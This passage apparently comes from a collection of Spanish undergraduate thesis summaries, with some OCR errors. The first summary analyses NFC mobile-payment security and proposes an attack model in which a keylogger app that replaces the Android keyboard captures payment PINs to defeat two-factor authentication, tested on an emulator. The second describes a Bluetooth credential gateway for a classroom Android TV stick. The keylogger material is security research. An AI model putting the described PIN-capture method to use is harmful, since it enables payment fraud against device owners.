introduce ademés un modelo que emula esta modalidad de pago
para la implementacion préctica de dicho ataque.

Palabras clave— keylogger, NFC, pago movil, seguridad.

I. INTRODUCCION

La dependencia en los smartphones va en aumento en el
dia a dia de los usuarios. La posibilidad de concentrar tantas
funcionalidades diferentes en un unico dispositivo movil ha
potenciado su alto desarrollo en los tltimos 10 afios. Se prevé
que en un futuro cercano (2022 segin Deloitte) el usuario
interactuard con su entorno a través de los dispositivos
moviles, bien sea en una casa domdtica o en los pagos méviles
[1]. Dicha tendencia genera cierta controversia [2].

Un ejemplo de la concentracion de funcionalidades en los
smartphones es precisamente la inclusion de la comunicacion
por NFC (Near Field Communication). Hoy en dia, la mayoria
de dispositivos recientes incorpora tecnologia NFC. En cuanto
al uso de NFC en pago movil, Deloitte estima que a finales de
2015 el 5% de los 600-650 millones de moviles que incorporan
NFC han sido usados, al menos una vez al mes, para la
realizacion de un pago NFC [3].

En 2011, la tecnologia NFC se presentaba como medio de
comunicacion mas prometedor para la evolucion de los pagos
en dispositivos moviles [4]. Sin embargo, esto no quiere decir
que esta tecnologia sea reciente. Fue en 2003 cuando se aprobo
como estandar ISO/IEC, aunque hasta el 2010 no llegd a los
teléfonos moviles.

Latecnologia NFC viene a ser la evolucion de la tecnologia
RFID, con la incorporacion de mejoras y distintos modos de
operacion [5] [6]. Ambas herramientas inalambricas de
comunicacion actiian a corto alcance (10 cm.) en la banda de
13.56 MHz. Aunque los componentes de ambas tecnologias
son muy parecidos, lo que diferencia principalmente NFC de
RFID son los modos de comunicacion. Estos modos de

comunicacion permiten que NFC pueda ser empleado para
distintos tipos de aplicaciones: desde la configuracion de los
tags para aplicaciones como la activacion del WiFi al entrar en
una zona, el cambio a modo avion, etc.; pasando por el envio
de archivos/enlaces entre dos dispositivos; hasta el uso del
dispositivo modvil para efectuar pagos o para realizar
autenticaciones, por ejemplo, para entrar en un local.

En un mundo donde la tecnologia altera continuamente los
habitos de los seres humanos, los cambios se suceden con
demasiada celeridad y, en ocasiones, sin dar lugar a la
reflexion sobre potenciales efectos negativos. El avance
tecnoldgico aparece numerosas veces reflido con la idea
fundamental del disefio con seguridad embebida (built-in
security) tan necesario en particular en lo relacionado al pago.
Segun un analisis realizado por los laboratorios Kaspersky en
el tercer trimestre de 2015 se detectaron 323.374 nuevos
programas maliciosos en los dispositivos mdviles suponiendo
asi, un incremento del 3.1% con respecto al primer trimestre
del mismo afio [7]. Entre dichos programas, se incluye un
numero relevante de ataques que podrian poner en peligro la
seguridad del pago con moviles.

Este estudio se centra en la tecnologia NFC para las
aplicaciones de pago. En particular, el objetivo es evaluar la
seguridad de la metodologia de pago en moviles usando NFC,
no tanto por el uso de esta tecnologia de comunicacién
concreta, sino por el uso del dispositivo movil, de ambito
general, como medio de pago. El TFG presenta una linea de
investigacion en desarrollo basada en la hipdtesis de que las
credenciales de autorizacion de un pago pueden ser capturadas
por medios ocultos al usuario.

El resto del resumen se organiza como sigue. La Seccion 11
presenta una discusion de los distintos métodos de pago moévil
que predominan en el mercado. En la Seccion 111, se discuten
los pagos moviles en el mundo fisico usando NFC, los
denominados Contactless Mobile Payment, donde se introduce
la arquitectura del sistema y aplicaciones sustentadas en la
tecnologia. Tras ello, en la seccion IV, se discute la seguridad
en los pagos méviles con NFC. En la seccion V, se expone una
metodologia de ataque a la que este tipo de pagos es
potencialmente vulnerable. En la seccion VI, se presenta el
modelo de emulacion de pago movil que esta en desarrollo
para estudiar dicha metodologia. Por tltimo, en la seccion VII
se exponen las conclusiones.

Il. METODOS DE PAGO EN MOVILES

Como se ha mencionado con anterioridad, la evolucion de
los smartphones ha presentado una oportunidad para el
desarrollo de herramientas que posicionen a las grandes
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empresas en la cima del mercado tecnologico. Cada vez son
mas las numerosas aplicaciones que los teléfonos incorporan,
desde la realizacion de fotografias o videos de alta calidad,
servicios de videollamadas, conexion a internet 4G, etc.

La definicion estandar de pago moévil, dada por la IEEE en
la conferencia SympoTIC en Bratislava (Eslovaquia) de 2004,
especifica: “un pago movil es cualquier pago en el que un
dispositivo movil es usado para iniciar activar o confirmar
dicho pago” [8].

En el mundo del comercio electronico las aplicaciones de
pago han ido adquiriendo mayor protagonismo, asi como
también han ido bifurcdndose hacia diferentes vias de pago. En
la Fig. 1 se ilustran en un diagrama las tecnologias mas usadas
en las que se sustentan los pagos moéviles. Se ha hecho una
distincion clara entre el pago fisico y el pago electronico (e-
payment). En los pagos fisicos, el punto de pago (Point of Sale
o PoS) esta cercano al usuario e interactua de manera directa
con el pago. En cambio, en los pagos electronicos la
localizacion del PoS es remota. Por otro lado, los pagos
moviles suelen estar referidos a transacciones C2C (Consumer
to Consumer) o C2B (Consumer to Business). Las
transacciones entre clientes (C2C) permiten el intercambio de
bienes entre dos personas. En cambio, cuando se habla de C2B
0 B2C, se traduce al movimiento monetario entre comercios y
clientes [9].
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Fig.1. Diagrama del &mbito del pago mévil en el comercio
fisico y electrénico.

En la Fig.1 aparecen dos bloques fundamentales de pagos a
larga distancia. Por un lado, estan las vias de pago como los
SMS  (Short Message Service), USSD (Unstructered
Supplementary Service Data), o WAP (Wireless Application
Protocol), los cuales se han usado desde antes de la llegada de
los smartphones [10].

Por otro lado, distinguimos un gran grupo que lo
conformarian las aplicaciones y los servicios web. En cuanto
a los servicios web de pago, cabe decir que en la mayoria se
utiliza el dispositivo movil de forma similar a como se ha
usado tradicionalmente un ordenador. El procedimiento basico
consiste en introducir los datos del cliente en el proveedor de
servicio a través de la pagina web y estos se envian a la entidad
financiera destinataria. Alternativamente, las aplicaciones de
tarjeta virtual (los Wallets) ofrecen una metodologia de e-
payment especifica para moviles. En primer lugar, se configura
una tarjeta virtual en el movil. Todos los datos bancarios
quedan almacenados en el dispositivo. A la hora de la

realizacion de una transferencia, las paginas que lo habiliten
ofrecen un modelo de pago basado en estas tarjetas virtuales.
El cliente simplemente elige la tarjeta a usar y el pago se
realiza en el momento si la necesidad de introducir cuentas
bancarias. El funcionamiento, como se puede ver, refleja
similitudes con el modelo de servicio de Paypal.

Tanto las aplicaciones Wallet como Paypal permiten tanto
el pago electronico como fisico. Paypal ademas de funcionar
como C2B también pueden habilitar a sus usuarios pagos C2C
[11]. Con ellos, los usuarios pueden realizar transacciones a
otras personas. Otra técnica que se utiliza en ambos dominios
de pago son los codigos bidimensionales QR [12]. En el
mercado asiatico, aplicaciones como AliPay y WeChat Pay, se
sustentan en esta técnica para la realizacion del pago movil y
cuentan con millones de usuarios a dia de hoy.

En el pago movil fisico, la tecnologia dominante es NFC,
donde se distinguen dos variantes. En una, el movil funciona
como punto de pago (PoS o Point of Sale), y se hace uso de
una tarjeta de crédito fisica para la cumplimentacion del pago.
Se puede mencionar a modo de ejemplo Square como
aplicacion para el mévil que habilita dicha via [9].

Sin embargo, el método de pago mas comtn donde se usa la
tecnologia NFC es el uso de aplicaciones que, con la
informacion disponible de las tarjetas de crédito virtuales,
realicen transacciones en PoS presentados por los centros
comerciales. En inglés se utiliza el término Contactless
Payment para la denominacion de esta via de pago por NFC.
El movil del cliente acttia como tarjeta de crédito y realiza la
compra acercandolo al punto de venta. Se trata de una via de
comercio rapida y simple.

I1l. PAGOsPOR NFC

El funcionamiento del pago por NFC es sencillo a vista del
consumidor. El cliente decide realizar la compra de un
producto, con su dispositivo con NFC habilitado vy
desbloqueado se aproxima (practicamente pegado) a un PoS
NFC y la compra estaria hecha. El pago es realizado de manera
mas réapida que la convencional. El sistema en si es idéntico al
de un pago por tarjeta de crédito/débito, solo que se cambia
esta por el Smartphone.

Para que esto tenga éxito, previamente se ha de seguir una
configuracion tanto en el dispositivo moévil como en el PoS.
Para los dispositivos, se ha de instalar una aplicacién
especifica y sera necesaria una configuracién previa a la
realizacién del pago. Una vez configurado no seran necesarias
mas modificaciones en la aplicacion. En general, ya que hay
leves diferencias segin la aplicacién instalada, el
procedimiento es el siguiente:

- Elusuario elige un tipo de tarjeta aceptada.

- Introduce el nimero de cuenta, fecha de caducidad y

cédigo de seguridad.

- Guarda los datos y se crea una tarjeta virtual.

Con esta tarjeta virtual ya podra efectuar pagos simplemente
acercando el dispositivo que la contiene al terminal.
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Fig. 2. Proceso de realizacion de un pago fisico con el mévil

En la Figura 2 se muestra proceso seguido desde un punto
de vista técnico. Cuando se introducen los valores de la tarjeta,
estos se envian a la entidad bancaria para confirmar que son
correctos. De ser asi, este sustituye el nimero de cuenta
recibido por un codigo virtual alternativo. Este nuevo cddigo
se envia al mévil y sera el que se vaya a utilizar a la hora de
hacer un pago. Al llegar al punto de venta, el cliente acerca el
teléfono al terminal y se envia el nimero virtual por NFC. El
terminal entonces, antes de validar el pago, envia el nimero
recibido a su proveedor de servicio para confirmar la
equivalencia antes realizada. Si es correcta, se envia una
confirmacion la cual se muestra en el terminal y se produce
entonces el pago.

En cuanto a los medios software para poder llevar a cabo
esta funcién, destacan principalmente las aplicaciones de
Google y Apple. Por el lado de Google, se presenta Android
Pay y Google Wallet. Apple a su vez presenta Apple Pay y
Passbook. Google Wallet y Passbook conformarian las
billeteras virtuales dedicadas a la gestién del dinero
disponible, traspasos, y tarjetas. Tanto Apple Pay como
Android Pay estarian mas dedicados a la realizacién del pago
de una manera mas sencilla y segura, lo que se conoce como
el Tap and Pay (el pago acercando el dispositivo al PoS). Otras
principales potencias en el mundo tecnoldgico han presentado
sus propias herramientas de pago mévil, como es el caso
Samsung o BlackBerry, las cuales pretenden competir con las
anteriores mencionadas.

Apple Pay se sustenta de NFC para la realizacion de pagos.
Para ello el usuario ha de escanear o introducir los datos de su
tarjeta en la aplicacion Passbook. Apple Pay esta disponible
para modelos de iPhone 6/6s o 6/6s Plus y posteriores. Para la
realizacion del pago se precisa la huella dactilar del usuario.
Cuenta con mas de 2,500 instituciones financiables a su
espalda, incluyendo Visa, MasterCard, American EXxpress,
Barclays, U.S. Bank, Capital One, etc. [13]

El funcionamiento de Android Pay es muy similar. Sin
embargo, al realizar un pago, se precisa del desbloqueo del
dispositivo mediante huella digital, patrén, o PIN. Las
instituciones financiables que suportan Android Pay son
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bastante menos que para Apple Pay, aunque estas iran
creciendo poco a poco. Segin Google, Andoid Pay estara
disponible pronto para mas de 700,000 puestos de venta [14].
Todos los dispositivos Android con tecnologia NFC integrada
podrén llevar a cabo pagos mdviles.

Samsung se sustenta en la plataforma LoopPay para
permitir pagos mdviles a casi cualquier punto de venta. Al
igual que Apple Pay, para realizar una compra se precisa de la
huella digital. Sin embargo, a diferencia de Android Pay, solo
esta disponible para dispositivos Samsung Galaxy S6 o
posteriores.

En Espafa, entidades bancarias como por ejemplo, La
Caixa, BBVA, Santander o Bankia, disponen de aplicaciones
de pago movil sustentadas en la tecnologia NFC. Ademas, la
compafiia telefénica Vodafone, se ha incorporado al mercado
del pago mdvil mediante Vodafone Wallet. El cual permite al
usuario realizar pagos fisicos exclusivos para usuarios de
Vodafone con dispositivos Android.

Por dltimo, mencionar que, tanto para las aplicaciones
Samsung Pay como Apple Pay, su llegada a Espafia se produjo
a mediados del 2016.

IV. SEGURIDAD EN PAGOS MOVILES

Ante la llegada de una nueva tecnologia siempre surge la
duda en cuanto a la seguridad propia de dicha plataforma. Mas
atn cuando hay implicados datos tan sensibles como nimeros
de tarjeta de crédito o cuentas bancarias.

En cuanto a la tecnologia NFC se ha de decir que de por si
se confia su seguridad, al menos parcialmente, a la corta
distancia de actuacion, que lleva a considerar muy dificil
interceptar la comunicacion. Aun asi, se han propuesto
mejoras en el disefio de las tramas para que esta comunicacion
se realice de manera privada y mas segura haciendo uso de
encriptacion y un canal seguro TLS [15] [16].

Mas alla de la comunicacion por NFC basada en TLS, que
cifra la comunicacion entre movil y PoS, el pago en mévil debe
garantizar también la seguridad en la comunicaciéon con la
entidad financiera. Un componente vital en este punto es el
Elemento Seguro (Secure Element o SE) [17] [18]. Se trata de
un chip que puede, puede encontrarse aparte, o bien estar
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incorporado en el propio dispositivo, y que se encarga de
almacenar los datos bancarios del usuario y establecer
comunicaciéon con el PoS por medio de NFC. Este chip
actualmente esta incorporado en los dispositivos moéviles con
NFC, y junto con los denominados TSM (Trusted Service
Manager) conforman un modelo de seguridad Trusted Third
Party. El modelo de obtencion del codigo virtual asociado al
numero de tarjeta se puede observar en la Figura 3. En este
paso previo de configuracion al pago, el TSM es el encargado
de interactuar con los operadores moéviles y otros agentes de
telecomunicaciones para habilitar y controlar el acceso al
elemento seguro del movil. En la realizacion del pago tiene un
papel fundamental dicho elemento seguro, ya que es el
encargado de almacenar el cédigo virtual. Por otro lado, el
hecho de tener esta informacion sensible fuera del S.O. del
movil evita que aplicaciones maliciosas puedan llegar a tener
acceso a estas.

® NN

— Datos Datos 4
bancarios cifrados
— ] ! [ Elemento NFC '
””I"I !'| seguro || Controlter | |!
o= e
Banco i S
TSM Antena [ - _ &

Fig. 3. Modelo de comunicacion segura con la entidad acreedora

Respecto a las aplicaciones de pago antes mencionadas, el
factor de seguridad se encuentra de manera doble, lo que
tradicionalmente se referencia como autenticacion de 2
factores (two factor autentication o 2FA). Esta 2FA se basa en
algo que se posee y algo que se conoce o se es. Por un lado,
para la realizacion del pago, el usuario ha de presentar su
dispositivo movil (el Smartphone), el cual posee su codigo
virtual en el SE. Por otro lado, antes de la realizacion de la
compra, se ha de pasar una prueba de autenticacion, o bien
mediante un cddigo PIN o un patron (algo que se conoce), o
bien mediante una huella dactilar (algo que se es).

V. MODELO DE VULNERABILIDAD

El proceso de realizacion de un pago fisico haciendo uso
de tecnologia NFC presenta, como se ha mencionado
anteriormente, un modelo de seguridad a varios niveles. Por
un lado, el proceso de obtencion de credenciales para el pago
futuro puede considerarse seguro. Por otro, la comunicacion
realizada durante el proceso de pago es también segura ya que
la informacion de la transaccién se encripta otorgando
confidencialidad e integridad. Esto limita sensiblemente la
posibilidad de realizar ataques al pago desde segundos
dispositivos, como los ataques de retransmision estudiados en
[19] [20]. Finalmente, la autenticacion de doble factor ofrece
mas seguridad ain en este procedimiento, que permite
proteger al usuario ante el eventual robo del dispositivo mévil.
El usuario es el unico que posee el teléfono y conoce un codigo
secreto. Se puede, por tanto, comprobar que la metodologia de
pago fisico estudiada es bastante robusta y segura.

A pesar de ello, en este novedoso escenario de pago se
puede plantear una situacion de potencial vulnerabilidad si el

fraude se realiza desde el propio dispositivo del usuario. En
particular, pensemos en la mas que factible presencia [7] de
software keylogger en el dispositivo, un malware interno que
se encargaria de capturar datos sin el consentimiento del
usuario. Existe también, otro tipo de keylogger que seria capaz
de capturar de las pulsaciones en la pantalla, lo que se
denomina touchlogger, el cual es una evolucion del keylogger
conocido para los dispositivos moviles. Se ha demostrado la
efectividad de los touchloggers y su funcionamiento en la
actualidad [21] [22].

La presencia de este tipo de software puede venir de una
aplicacion instalada oculta, o bien puede llegar al dispositivo
mediante una descarga de Internet, recepcion de datos
maliciosos etc. Si se diera este caso, ;es posible que dicho
malware capture los datos electronicos de autorizacion para el
pago vy los reutilice posteriormente de forma fraudulenta?
Tanto la huella digital, patréon de desbloqueo, o codigo PIN,
podrian ser capturados por este malware. Sustituyendo el
teclado por defecto de Android, por ejemplo, por uno
vulnerable se pone en riesgo la confidencialidad en el sistema
operativo movil.

Notese entonces que, ante un caso de este tipo, las medidas
de seguridad discutidas en el apartado anterior no serian
efectivas: el software malicioso podria utilizar el propio
dispositivo del usuario con la informacion de autenticacion
robada, inhabilitando el 2FA, y al hacerlo no requiere conocer
el codigo virtual alojado en el SE, ya que automaticamente lo
utiliza al usar el dispositivo de usuario.

Surge también la pregunta de si en este escenario no solo
se afectaria el pago fisico por NFC. Si se da el caso que se ha
robado el PIN de seguridad de una tarjeta de Google Wallet,
(Podria realizar pagos electronicos sin el consentimiento del
usuario de dicho movil?

Se trata de un caso que no se daba en las tarjetas de crédito
convencionales. Se estd haciendo uso de un dispositivo de
propdsito general, y por tanto vulnerable, para realizar pagos.
Es en este modelo de pago donde tiene principal importancia
el conocimiento del codigo secreto. Lo que solo debe conocer
el usuario. Una soluciéon para estos casos de captura
fraudulenta de informacién en dispositivos moviles puede ser
la creacion de un dispositivo extraible, ajeno a la captura por
parte del movil para la inclusion del cddigo de autentificacion.
A modo de ejemplo, el dispositivo SHare Your Own Secutiry
(SHYOS) propone un modelo de autentificacion 1.5 para
combatir posibles ataques de keylogging [23], donde el
dispositivo que se posee no es personal pero tampoco
vulnerable a la instalacion de malware.

VI. TRABAJO EN DESARROLLO

Para evaluar la viabilidad practica del modelo de ataque
discutido en la seccidn anterior, esta seccidon introduce el
desarrollo, de un emulador de pago movil. Para ello, se ha
precisado de tres dispositivos, uno que actiia como cliente y
otro que actua como PoS y un dispositivo mas que hara de
servidor de autenticacion. Como cliente se hace uso de un
dispositivo Android 5.0 con NFC habilitado. En este
dispositivo se han programado dos aplicaciones: una para la
realizacion del pago por NFC, y otra que actia de keylogger.
Para el punto de venta, se hace uso de Arduino UNO junto a
un componente disefiado por Adafruit, para simulaciones en
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NFC, el PN532 Shield Controller [24]. El servidor bancario se
emula a través de un portatil. En la Figura 4 se pueden apreciar
los componentes usados para el emulador.

Fig. 4. Elementos empleados para la simulacion del pago movil

El dispositivo Android con NFC habilitado actua como
HCE (Host Card Emualtion), realiza una compra y para ello
introduce un PIN de seguridad. A continuacion, se acerca el
dispositivo al terminal para que se envien el codigo virtual,
dicho PIN, y datos de la tarjeta virtual mediante una
transferencia de PDUs por NFC. Tanto el movil como el
Arduino han de realizar un proceso de establecimiento de la
conexion en el cual se envia un identificador de la aplicacion.
En el punto de venta se comprueba que efectivamente los datos
recibidos son veridicos y se envia una confirmacién de que el
pago ha sido realizado con éxito.

Mientras tanto, el software malicioso que también ha sido
instalado de manera inconsciente por el usuario debe, en
primer lugar, cambiar el teclado original del dispositivo
Android por otro propio del cual se captan las teclas utilizadas.
Comentar que, con el propio teclado por defecto, el sistema
Android no permite que aplicaciones en escucha capturen
datos sensibles. Se aprecia en la Figura 5 la advertencia del
sistema operativo Android cuando se va a cambiar el teclado
por defecto. Advertencia que, en dispositivos moviles
rooteados, podria verse eliminada, o ignorada por el propio
usuario.
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Atencién

Este método puede
recopilar todo el texto
que escriba, excepto
contrasefias, incluso
datos personales y
numeros de tarjetas de
crédito. Proviene de la
aplicacion
AnySoftKeyboard.
¢Utilizar de todos
modos?

CANCELAR ACEPTAR

Fig. 5. Advertencia del sistema operativo Android

Por lo tanto, este keylogger va a ser capaz de capturar el
PIN introducido archivandolo para posteriormente hacer uso
fraudulento del mismo. En la implementacion de dicho
emulador se pretende que este sea lo mas real posible al
procedimiento de pago convencional, para poder asi ser
capaces de demostrar dicha vulnerabilidad y realizar un
analisis de las distintas barreras de seguridad encontradas o
vulnerables en la realizacion del pago.

VIl. CONCLUSIONES

En este resumen se ha realizado un estudio de la seguridad
en los pagos moviles que se sustentan en NFC. Se ha
comenzado con una introduccion a los pagos moviles mediante
la tecnologia NFC, distinguiendo las diferentes vias de pago
mévil (pago fisico y un pago electrénico) y se ha tratado el
tema de la seguridad en los pagos que se sustentan de NFC.

El hecho de ser un modelo de pago bastante reciente ofrece
numerosas lineas de investigacién en cuanto al tema de
seguridad. Se ha mencionado la posibilidad de que un malware
interno en el dispositivo sea capaz de capturar datos de
autenticacion del pago maévil para su posterior uso fraudulento.
Recalcar también que la via de investigacion presentada esta
basada en un modelo en desarrollo que tiene como fin probar
dichas vulnerabilidades.

Como conclusion a este documento, se quiere hacer
mencién especial al impacto que supondria la vulnerabilidad
aqui planteada, asi como, se pretende concienciar al usuario de
las medidas necesarias de prevencidn que serian convenientes
a la hora de realizar un pago mévil, en particular las relativas
al mantenimiento de la seguridad en el dispositivo.
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Resumen—Este proyecto surge a partir de un Proyecto de
Innovacion Docente, cuyo objetivo es almacenar material docente
del profesorado en una base de datos y visualizar dicho contenido
mediante diferentes dispositivos. El objetivo del proyecto es
implementar una aplicacion que actie como pasarela para la
autenticacion entre un dispositivo TV Stick basado en Android
y un servidor. El problema consiste en que Android almacena
en archivos informacion de autenticacion en texto plano, por
lo que puede ocurrir que alguna persona ajena a la UGR
obtenga informacion sensible del TV Stick, como diferentes
claves de acceso. Este proyecto propone que el TV Stick se
conecte al arrancar con un servidor de autenticacion para
obtener informacion como las credenciales de acceso a la red
Wi-Fi y a una posible red VPN. Para ello, se decide que el TV
Stick se comunique a través de Bluetooth con un dispositivo
movil perteneciente al usuario, que actuara como pasarela hacia
el servidor de autenticacion. Finalmente, se ha elegio que el
dispositivo movil hiciera uso del sistema operativo Android, ya
que este sistema cubre mas del 80 % de la cuota de mercado
actualmente.

Palabras clave—Sistema de autenticacion, Servicio de
Proyeccion de Material Docente, Pasarela, Bluetooth, Android,
VPN, Wifi, Proyector, Diapositivas, Criptografia, Seguridad.

I. INTRODUCCION

STE proyecto surge como complemento a un Proyecto de

Innovacién Docente (PID) de 1a Universidad de Granada
con el objetivo de mejorar la seguridad de sus comunica-
ciones. En concreto, este PID consiste en el servicio de
proyeccién de material docente (SPMD) [1] de la Universidad
de Granada y tiene como objetivos fundamentales el almace-
namiento de material docente del profesorado en una base de
datos dedicada a ello y su visualizaciéon mediante diferentes
dispositivos (portatiles, méviles, tabletas) conectados de forma
inalambrica al proyector ubicado en cada aula. Este tendrd
conectado un dispositivo TV Stick basado en Android y sera
el medio para mostrar el contenido.

El dispositivo principal del proyecto serd un TV Stick
MKS809 III, el cual utiliza el sistema operativo Android 4.4.
La ventaja de este TV Stick es que puede configurarse como
cualquier otro dispositivo Android y es posible conectarlo a
un monitor o proyector que sea compatible con puertos HDMI
para mostrar un contenido determinado.

En este contexto, el presente proyecto surge con el objetivo
de eliminar problemas de seguridad inherentes a los sistemas

Android. El dispositivo que se conectard al proyector, con el
propésito de visualizar el material docente, utiliza el sistema
operativo Android. Este presenta un grave problema de seguri-
dad, ya que inserta informacion sensible dentro de ficheros,
como claves Wi-Fi o claves VPN, en texto plano. Para ello,
se pretende que se puedan modificar estas claves de forma
centralizada por parte del gestor del PID y enviarlas de nuevo
al dispositivo TV Stick para su modificacién. Sin embargo,
esto presenta el problema de que los dispositivos TV stick no
pueden utilizar la red Wi-Fi para recuperar estas claves si han
sido modificadas, ya que éstas son las credenciales para poder
conectarse a la red. Por ello, el presente proyecto surge con
el objetivo de crear una conexién auxiliar que pueda utilizar
el dispositivo para descargarse, de forma segura, las nuevas
contrasefias. Debido a las posibilidades de conexién de los
MKS809 III y a las tecnologias habituales en los moéviles o
tabletas usadas para controlar la proyeccién en este PID, se
ha utilizado Bluetooth para establecer una conexién entre el
dispositivo TV Stick y el mdvil/tableta, y serd éste tltimo el
que actuard de pasarela para conectarse al servidor central (ya
sea por Wi-Fi o a través de la red mévil).
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Servidor de autenticacién Dispositivo del usuario TV Stick basado en Android

Fig. 1. Entorno del sistema del proyecto.

II. ESTADO DEL ARTE

El mini-PC Android MKS809 III, cuyo procesador ha sido
fabricado por la empresa Rockchip, presenta como principal
caracteristica ser un dispositivo sin pantalla, disponiendo de
un puerto HDMI para utilizar un televisor o un proyector
para visualizar el contenido. Al utilizar el sistema operativo
Android podra instalarse cualquier aplicacién Android como
en cualquier tableta de este sistema. Ademds, al disponer
de dos puertos USB, permite introducir diferentes periféricos
como ratén o teclado para poder moverse por la interfaz.
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La motivacién para el uso de este mini PC fueron sus
prestaciones sobresalientes y su ajustado precio, inferior a los
50 euros. Su hardware compite con muchos otros dispositivos
cuyo precio es considerablemente mds elevado.

Existen otros sticks que tienen una funcionalidad similar
y que se podrian utilizar para la proyeccién de material de
manera inaldmrica, como Chromecast [2], Apple TV [3] o
Amazon Fire TV [4], debido a que no soportan la autenti-
cacién WPA2 Enterprise usada en la UGR. [5]

Ademds del uso de los sticks también cabria la posibili-
dad de utilizar proyectores inaldmbricos, que se conectarian
directamente al dispositivo del usuario. Estos proyectores
tienen la gran ventaja de tener una instalacién sencilla y
de poder conectarse mediante via Wi-Fi a otros dispositivos
como smartphones, tabletas u ordenadores, que controlan el
contenido a mostrar. El principal inconveniente es el precio
de dichos productos, bastante mds elevado que los proyectores
convencionales, ademas de requerir la sustitucién de todos los
proyectores disponibles actualmente.

Dejando a un lado el tema de dispositivos que podrian
realizar una funcién similar al TV Stick de Android, existen
empresas que podrian proporcionar el equipo necesario para
realizar el mismo objetivo que el que tiene este proyecto, es
decir, alojar archivos en un servidor y tras la correspondiente
autenticacién obtenerlos en un dispositivo y poder utilizar-
los para mostrar contenido. Algunas de estas empresas son
AWIND o WePresent. Aunque presentan grandes ventajas
como seguridad, su sencilla instalaciéon y la compatibilidad
con diferentes sistemas operativos, el precio es muy elevado
en comparacion con la alternativa propuesta en este proyecto
de utilizar un TV Stick.

III. ESPECIFICACION DE REQUISITOS

En esta seccidon se pretende llevar a cabo un andlisis del
proceso de disefio realizado para este proyecto, incluyendo,
de la manera més completa posible, los requisitos funcionales
y no funcionales que se deben cumplir.

A. Requisitos funcionales

Se lista a continuacién los requisitos funcionales minimos
necesarios para el funcionamiento del proyecto:

« Busqueda de dispositivos y conexion Bluetooth

o Capacidad de la aplicacion cliente de actuar como
pasarela

« Autenticacion del TV Stick con el servidor

« Envio de credenciales por parte del servidor (Claves
Wi-Fi y VPN)

« Acceso a la pagina oficial del Servicio de Proyeccion
de Material Docente (Después de una correcta aut-
enticacion del TV Stick)

B. Regquisitos no funcionales

Se presentan a continuacién los requisitos no funcionales,
que son aquellos que imponen restricciones en el disefio o la
implementacion.

« Sistema operativo Android: Debido a que mas del 80%

de los dispositivos moviles lo utilizan.

« Interfaz sencilla e intuitiva

o Programacion Android para el mayor nimero de
versiones posibles
« Aplicaciones tolerantes a fallos

IV. PLANIFICACION Y PRESUPUESTO

En esta seccidon se describird la planificacién que se ha
adoptado para la realizacion del proyecto, y se presentard una
aproximacién del presupuesto total necesario para su llevada
a cabo.

A. Planificacion

A continuacidn, se enumeran las tareas realizadas, en orden
cronoldgico:

Tarea 1: Revision bibliografica

Tarea 2: Definicion de requisitos

Tarea 3: Aprendizaje de herramientas seleccionadas

Tarea 4: Disefio

Tarea 5: Toma de contacto con la programacién del dispos-
itivo del usuario

Tarea 6:Programacion del TV Stick: Android y Scripts para
Linux

Tarea 7: Programacién de la parte servidor en PHP

Tarea 8: Fase de pruebas

Tarea 9: Memoria técnica del proyecto

Tarea 10: Exposicién del Trabajo de Fin de Grado

B. Presupuesto

En este apartado se tratard el tema del presupuesto del
proyecto, en el que se listardn los recursos utilizados y el
precio estimado correspondiente a cada uno.

1) Recursos humanos:

« Juan Carlos Angulo Santos: Autor del proyecto y alumno
del grado en Ingenieria de Tecnologias de Telecomuni-
cacion.

o Jorge Navarro Ortiz: Tutor del proyecto y profesor
contratado doctor de la Universidad de Granada del
Departamento de Teoria de la Senal, Telematica y Co-
municaciones.

En la siguiente tabla (véase tabla I) podemos observar el
nimero de horas dedicado a cada tarea, donde hemos supuesto
que el coste de un un ingeniero graduado en ingenieria de
tecnologias de telecomunicacion es de 25 euros/hora y el de
un doctor de 50 euros/hora

Tarea Tiempo Coste

(Horas) (Euros)
Revision bibliografica 20 500
Definicién de requisitos y eleccién de 5 125

herramientas/plataformas

Aprendizaje de herramientas seleccionadas 10 250
Disefio 10 250

Toma de contacto con la programacion del 80 2000

dispositivo del usuario

Programacion del TV Stick 50 1250
Programacion servidor 30 750

Fase de pruebas 50 1250

Memoria del TFG 60 1500
Exposiciéon TFG 15 375
Trabajo de ingeniero doctor 15 750

Total 345 9000

Tabla T
ESTUDIO DE COSTES PARA LOS RECURSOS HUMANOS.
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2) Recursos hardware: En la siguiente tabla se aprecian
los recursos hardware utilizados y su precio asociado, con-
siderando la vida 1itil de los equipos y el tiempo que han sido
utilizados:

Recurso hardware Coste (Euros)
Ordenador portatil 480
Smartphone Xperia Z1 220
TV Stick MK809 III 30
Pantalla LCD Benq 120
Ratén inalambrico 14
Teclado cableado 12
Adaptador multi USB 4
Total 880

Tabla IT
ESTUDIO DE COSTES PARA LOS RECURSOS HARDWARE.

3) Recursos software: Los recursos software utilizados han

sido todos de caricter gratuito y se enumeran a continuacién:

e Android Studio 1.5.1: Entorno de desarrollo integrado
para programacion en Android.

o Sublime Text: Editor de texto gratuito dedicado a cédigo.

o XAMPP: Servidor web.

o TeXstudio: Editor de LaTeX.

« GanttProject: Utilizado para la creacidon de diagramas de

Gantt.

4) Presupuesto final: El presupuesto final serd la suma
del estudio de costes realizado para los recursos humanos,
hardware y software. Podemos ver el precio estimado para
cada seccidn en la siguiente tabla (Tabla III):

Recursos Presupuesto (Euros)
Recursos humanos 9000
Recursos hardware 880
Recursos software 0

Total 9880

Tabla TIT
PRESUPUESTO FINAL DEL PROYECTO TENIENDO EN CUENTA LOS DISTINTOS
RECURSOS UTILIZADOS.

V. HERRAMIENTAS UTILIZADAS

En esta seccion se describirdn resumidamente las her-
ramientas utilizadas para el disefio del proyecto.

A. Android

El sistema operativo Android ha sido el escogido para la
programacién de la aplicacién del dispositivo de usuario y
la del TV Stick. Esta programacién se desarrollara utilizando
Android Studio [6], un entorno de desarrollo integrado para
la plataforma Android. Este IDE (Integrated Development
Environment) es totalmente gratuito y puede descargarse
desde la pagina oficial de Android.

Android Studio fue el IDE escogido debido a su facilidad
de uso a la hora de programar y de compilar las aplicaciones,
ademds de soportar programacion para las versiones mds
actuales de Android. Otra gran ventaja de este paquete es
la ayuda que presenta a la hora de disefiar la aplicacién, ya
que puede verse en el mismo programa como es el disefio
actual que se ha programado.

La programacion en este IDE se basa en la creacion de
proyectos, que constan de diferentes carpetas y archivos. En
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un proyecto, la primera clase que debe crearse siempre serd
una Activity, término utilizado para distinguir las distintas
pantallas o fases de una aplicacién. Estas Activities constan
de una parte légica y una grafica. La parte ldgica es el
archivo .java en el que se crea el c6digo necesario para poder
interactuar con la aplicacién, y que a su vez puede relacionarse
con otras clases. Respecto a la parte grafica, son archivos
